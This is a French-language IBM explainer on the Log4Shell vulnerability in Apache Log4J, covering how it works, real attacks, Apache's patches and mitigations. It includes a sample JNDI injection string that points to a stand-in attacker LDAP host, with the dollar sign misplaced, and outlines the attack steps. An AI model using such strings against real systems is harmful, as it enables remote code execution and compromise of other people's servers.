À propos des cookies sur ce site Pour fonctionner correctement, nos sites Internet nécessitent certains cookies (requis). En outre, d'autres cookies peuvent être utilisés avec votre consentement pour analyser l'utilisation d'un site, améliorer l'expérience des utilisateurs et à des fins publicitaires. Pour plus informations, passez en revue vos options de préférences en. En visitant notre site Web, vous acceptez que nous traitions les informations comme décrit dans ladéclaration de confidentialité d’IBM. Pour faciliter la navigation, vos préférences en matière de cookie seront partagées dans les domaines Web d'IBM énumérés ici.
Qu'est-ce que Log4Shell ?
Log4Shell – également « vulnérabilité Log4J » –, est une vulnérabilité d’exécution de code à distance (Remote Code Execution ou RCE) dans certaines versions de la bibliothèque Java Apache Log4J 2. Log4Shell permet aux pirates d’exécuter pratiquement n’importe quel code sur les systèmes visés, ce qui leur donne le contrôle total des applications et des appareils.
Log4Shell, dont l’identifiant Common Vulnerabilities and Exposures (CVE) est CVE-2021-44228, a un score Common Vulnerability Scoring System (CVSS) de 10, ce qui indique une vulnérabilité critique. Log4Shell est considéré comme l’une des vulnérabilités les plus dangereuses de tous les temps en raison de sa large portée et de ses conséquences potentiellement dévastatrices.
On estime que 10 % de tous les actifs numériques (lien externe à ibm.com) – y compris les applications web, les services cloud et les terminaux physiques tels que les serveurs – étaient vulnérables à Log4Shell au moment de sa découverte. Les pirates peuvent utiliser Log4Shell pour faire presque n’importe quoi : voler des données (exfiltration de données), installer des ransomwares, capturer des appareils pour des botnets, etc.
Les chercheurs en sécurité informatique ont découvert Log4Shell en novembre 2021. Apache a publié un correctif en décembre 2021, et toutes les versions de Log4J à partir de 2.17.1 sont exemptes de Log4Shell et des vulnérabilités qui y sont associées. Cependant, la Cybersecurity and Infrastructure Security Agency (CISA) indique que Log4Shell figure toujours parmi les vulnérabilités les plus fréquemment exploitées (lien externe à ibm.com). Log4J est omniprésent dans la chaîne d’approvisionnement logicielle, c’est pourquoi la recherche et la résolution de chaque instance vulnérable peuvent prendre des années.
En attendant, les équipes de sécurité peuvent prendre d’autres mesures pour réduire l’exposition du réseau, comme nous le verrons plus en détail ci-dessous.
Obtenez des informations pour mieux prendre en charge le risque de violation de données grâce au dernier rapport sur le coût d’une violation de données.
Log4Shell affecte Log4J, une bibliothèque de journalisation open source gérée par l’Apache Software Foundation. Log4J est un logger, c’est à dire un composant logiciel qui enregistre des informations et des événements dans un programme, comme les messages d’erreur et les entrées d’un utilisateur.
Log4J n’est pas un programme autonome, mais un ensemble de code que les développeurs peuvent intégrer à leurs applications Java au lieu de créer des loggers de A à Z. Les grandes organisations comme Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco et bien d’autres utilisent Log4J dans leurs logiciels et leurs services.
Log4Shell résulte de la façon dont les versions vulnérables de Log4J gèrent deux fonctionnalités associées : les recherches Java Naming et Directory Interface (JNDI) et les substitutions de recherche de messages. Chaque fonctionnalité en elle-même est inoffensive, mais l’interaction entre elles constitue une arme puissante pour les pirates.
JNDI est une interface de programmation des applications (API) que les applications utilisent pour accéder aux ressources hébergées sur des serveurs externes. Une recherche JNDI est une commande qui indique à l’application d’accéder à un serveur et de télécharger un objet spécifique, comme un élément de données ou un script. Les anciennes versions de Log4j 2 exécutent automatiquement tout code téléchargé de cette façon.
La substitution de recherche de message permet aux utilisateurs et aux applications d'envoyer des variables à Log4J dans les messages de journal à l'aide d'une syntaxe particulière : ${prefix:name}. Lorsque Log4J rencontre cette syntaxe, il résout la variable et enregistre la valeur dans le journal. Par exemple, si Log4J a reçu un message comme
{java:version}$
il trouverait la version actuelle de Java qui est exécutée sur l’appareil. Dans le journal, il enregistrerait : « Java version X.XX. »
En d’autres termes, Log4J ne traite pas les substitutions de recherche de messages comme du texte brut. Il les traite comme des commandes et agit en fonction de ce qu’elles disent. Les pirates peuvent tirer parti de ce fait pour envoyer des commandes de recherche JNDI malveillantes aux applications qui exécutent des versions vulnérables de Log4J. Par exemple, un pirate informatique pourrait envoyer à Log4J une chaîne comme celle-ci :
{jndi:ldap://myevilwebsite.biz/maliciouscode}$
Lorsque Log4J reçoit ce message, il résout la variable en contactant le serveur à myevilwebsite.biz et en téléchargeant l’objet situé dans l’emplacement /maliciouscode. Ce processus conduirait Log4J à exécuter le code Java que le pirate a caché à cet endroit, généralement un logiciel malveillant.
Les pirates peuvent utiliser des protocoles standard pour activer Log4Shell, ce qui permet au traffic malveillant d’échapper facilement à toute détection. La plupart des attaques qui exploitent Log4Shell utilisent l’un des protocoles suivants : Light Directory Access Protocol (LDAP); Remote Method Invocation (RMI); ou Domain Name System (DNS).
LDAP
Le LDAP est utilisé pour stocker des données dans un emplacement central auquel différentes applications et services peuvent accéder. Le LDAP est la méthode la plus courante utilisée par les pirates pour exploiter Log4Shell. Une attaque classique fonctionne de la façon suivante :
- Le pirate configure un serveur LDAP et y stocke un code malveillant.
- Le pirate envoie une recherche JNDI à un programme à l’aide de Log4J.
- La recherche JNDI permet au programme d’accéder au serveur LDAP de l’attaquant, de télécharger la charge utile et d’exécuter le code.
RMI
La RMI est une fonctionnalité Java qui permet à une application sur un appareil d'indiquer à une application sur un autre appareil de faire quelque chose, comme partager des informations ou exécuter une fonction.
Les attaques par RMI fonctionnent à peu près de la même manière que les attaques par LDAP : les pirates mettent en place un serveur RMI, incitent la cible à se connecter au serveur et envoient des commandes malveillantes à la cible.
Les attaques par RMI ne sont pas très courantes, mais certains pirates (lien externe à ibm.com) ont tendance à y recourir, car de plus en plus d’organisations bloquent purement et simplement le trafic LDAP.
DNS
Les pirates utilisent le DNS pour identifier les cibles. Ils envoient une recherche JNDI à un programme, lui indiquant de se connecter à un serveur DNS qui est sous le contrôle des pirates. Si le serveur DNS enregistre une connexion à partir du programme, les pirates savent que le système sera vulnérable à d’autres tentatives d’exploitation de Log4Shell.
Étant donné que Log4Shell permet aux pirates d’exécuter un code arbitraire, les cybercriminels peuvent utiliser la faille pour lancer de nombreuses attaques. Log4Shell était également une vulnérabilité zero-day au moment de sa découverte, ce qui signifie que les pirates avaient une longueur d’avance pour son exploitation.
Certaines des premières attaques exploitant Log4Shell ont infecté des ordinateurs avec des cryptojackers, un type de logiciel malveillant qui utilise un appareil pour miner des cryptomonnaies à l’insu du propriétaire. Le botnet Mirai a également exploité la faille pour prendre le contrôle de certains appareils.
Plusieurs attaques par ransomware ont exploité Log4Shell. Les plus importantes sont celles de la variante Khonsari, qui s’est répandue dans le jeu vidéo Minecraft, et NightSky, qui ciblait les systèmes exécutant VMware Horizon.
Les access brokers ont utilisé Log4Shell pour établir des « points d’appui » dans les réseaux d’entreprises à haute valeur, souvent en déposant secrètement des chevaux de Troie d’accès à distance (RATs) dans les systèmes compromis. Les access brokers vendent ensuite ces points d’appui à des associés qui proposent des rançongiciels en tant que service ou à d’autres pirates informatiques sur le Dark Web.
Alors qu’Apache travaillait à un correctif de Log4Shell après sa découverte, une poignée de failles associées ont été mises au jour. En tout, il aura fallu quatre correctifs pour neutraliser complètement Log4Shell et toutes les vulnérabilités associées.
Le premier correctif Apache publié, Log4J version 2.15.0, a résolu une grande partie de la vulnérabilité Log4Shell. Cependant, les pirates pouvaient toujours envoyer des recherches JNDI malveillantes aux systèmes qui utilisaient certains paramètres non définis par défaut. Apache a résolu ce problème avec Log4J version 2.16.0.
La version 2.16.0 s’est également avérée incomplète. Les pirates pouvaient toujours utiliser des recherches de messages malveillantes pour envoyer des systèmes vulnérables dans des récursions infinies, ce qui entraînait des attaques par déni de service. Apache a publié la version 2.17 pour corriger ce problème.
Moins sévère que les autres, cette faille permettait aux pirates d’exécuter un code à distance, mais ils devaient d’abord obtenir des autorisations élevées et modifier les configurations des journaux. Apache a résolu ce problème avec un quatrième correctif, Log4j version 2.17.1
Les chercheurs en sécurité recommandent vivement aux organisations de télécharger et d’installer la dernière version de toutes les instances de Log4J de leurs réseaux, ou au moins la version 2.17.1. L’application des correctifs est le seul moyen de neutraliser complètement Log4Shell.
Cependant, il est possible que les équipes de sécurité ne soient pas en mesure de corriger immédiatement toutes les instances de Log4J sur leurs réseaux. Les installations vulnérables de Log4J sont souvent des dépendances indirectes, ce qui signifie que les actifs de l’entreprise n’utilisent pas Log4J, mais qu’ils s’appuient sur d’autres applications et services qui le font. Selon Google (lien externe à ibm.com), les instances Log4J les plus vulnérables sont situées au delà du premier niveau de profondeur, et certaines sont situées jusqu’au neuvième niveau de profondeur (niveaux de dépendance).
Lorsque Log4J est une dépendance indirecte, il devient beaucoup plus difficile pour les équipes de sécurité de la localiser. Lorsqu’ils la trouvent, il est possible qu’ils ne puissent pas la corriger, selon l’endroit où elle est localisée. Si Log4J est au sein d’un package logiciel utilisé par une application tierce, le fournisseur lui-même devra mettre à jour Log4J.
Même lorsque Log4J est une dépendance directe, elle peut être difficile à repérer. Le processus de développement de logiciels est aujourd’hui très complexe et s’appuie sur des équipes étendues et de vastes ensembles de codes préexistants. Les développeurs ne savent peut-être pas que leurs applications contiennent des versions vulnérables de Log4J, car ces instances peuvent se trouver à l’intérieur de packages logiciels préécrits que les développeurs n’ont pas codés eux-mêmes.
Jusqu’à décembre 2022, 25 % des téléchargements de Log4J (lien externe à ibm.com) étaient encore vulnérables à Log4Shell, ce qui signifie que les utilisateurs utilisent des versions obsolètes de Log4J pour créer de nouveaux actifs.
Log4J est si largement utilisé dans la chaîne d’approvisionnement logicielle que, selon le Département américain de la sécurité intérieure (lien externe à ibm.com), la recherche et la correction de chaque instance vulnérable pourront encore durer au moins une décennie.
En attendant, les équipes de sécurité peuvent prendre d’autres mesures pour réduire l’exposition du réseau.
Suppression des recherches de messages exécutées par des applications vulnérables
Les équipes de sécurité peuvent interdire les substitutions de recherche de messages dans Log4J, ce qui permet à Log4J de traiter les messages des pirates comme du texte brut plutôt que comme des commandes à exécuter.
Il existe deux façons de procéder : en définissant les propriétés système « Log4J2.formatMsgNoLookups » sur « true » ou en définissant la valeur de la variable d’environnement LOG4J_FORMAT_MSG_NO_LOOKUPS sur « true ».
Notez que les versions non corrigées de Log4J souffrent toujours de la CVE-2021-45046, qui permet aux pirates d’envoyer des recherches JNDI malveillantes lorsque certains paramètres autres que ceux par défaut sont utilisés. L’interdiction des recherches de messages n’est donc pas infaillible.
Supprimer la classe JNDIlookup des applications vulnérables
Les applications Java utilisent des classes pour définir ce qu’un programme peut faire. Dans Log4J, la classe « JNDIlookup » régit les recherches JNDI. Si cette classe est supprimée du répertoire des classes de Log4J, également appelé classpath, les recherches JNDI ne peuvent plus être effectuées.
La suppression de l’autorisation des recherches JNDI empêche les pirates d’envoyer des commandes malveillantes, mais elle peut également affecter d’autres fonctions de Log4J et des applications qui l’utilisent. Il peut également être difficile de s’assurer que chaque instance de la classe est supprimée.
Bloquer le trafic sortant malveillant
Les organisations peuvent utiliser des pare-feu et d’autres outils de cybersécurité pour bloquer le trafic des actifs connectés à Internet qui sont vulnérables aux serveurs contrôlés par les attaquants. Par exemple, les équipes de sécurité peuvent définir des règles pour interdire toutes les connexions à l’aide de protocoles LDAP ou RMI.
Le blocage du trafic sortant au lieu du trafic entrant permet d’éviter les faux positifs, car les fournisseurs et les chercheurs en sécurité analysent les actifs pour trouver des instances persistantes et non corrigées.
L’inconvénient est que les pare-feu peuvent bloquer ou entraver les connexions sortantes nécessaires, surtout si une organisation utilise le LDAP ou la RMI pour des raisons légitimes.
Solutions connexes
Déjouez les cyberattaques grâce à une suite sécurité connectée et modernisée. Le portefeuille QRadar est doté d’une IA de niveau professionnel et offre des produits intégrés pour la sécurité des points de terminaison, la gestion des journaux, le SIEM et le SOAR, le tout avec une interface utilisateur commune, des informations partagées et des flux de travaux connectés.
Mises en œuvre sur site ou dans un cloud hybride, les solutions de sécurité des données d’IBM vous aident à obtenir une meilleure visibilité et une meilleure compréhension pour enquêter sur les cybermenaces et y remédier, appliquer des contrôles en temps réel et gérer la conformité aux réglementations.
La recherche proactive des menaces, la surveillance continue et l’examen approfondi des menaces ne sont que quelques-unes des priorités auxquelles doit faire face un service informatique déjà très occupé. En disposant d’une équipe de réponse aux incidents fiable, vous pouvez réduire votre temps de réponse, minimiser l’impact d’une cyberattaque et vous rétablir plus rapidement.
Ressources
Le piratage est l’utilisation de moyens non conventionnels ou illicites pour obtenir un accès non autorisé à un appareil numérique, un système informatique ou un réseau informatique.
Les logiciels malveillants, ou malwares, sont des programmes conçus pour nuire aux systèmes informatiques ou à leurs utilisateurs, par exemple les ransomwares, les chevaux de Troie et les logiciels espions.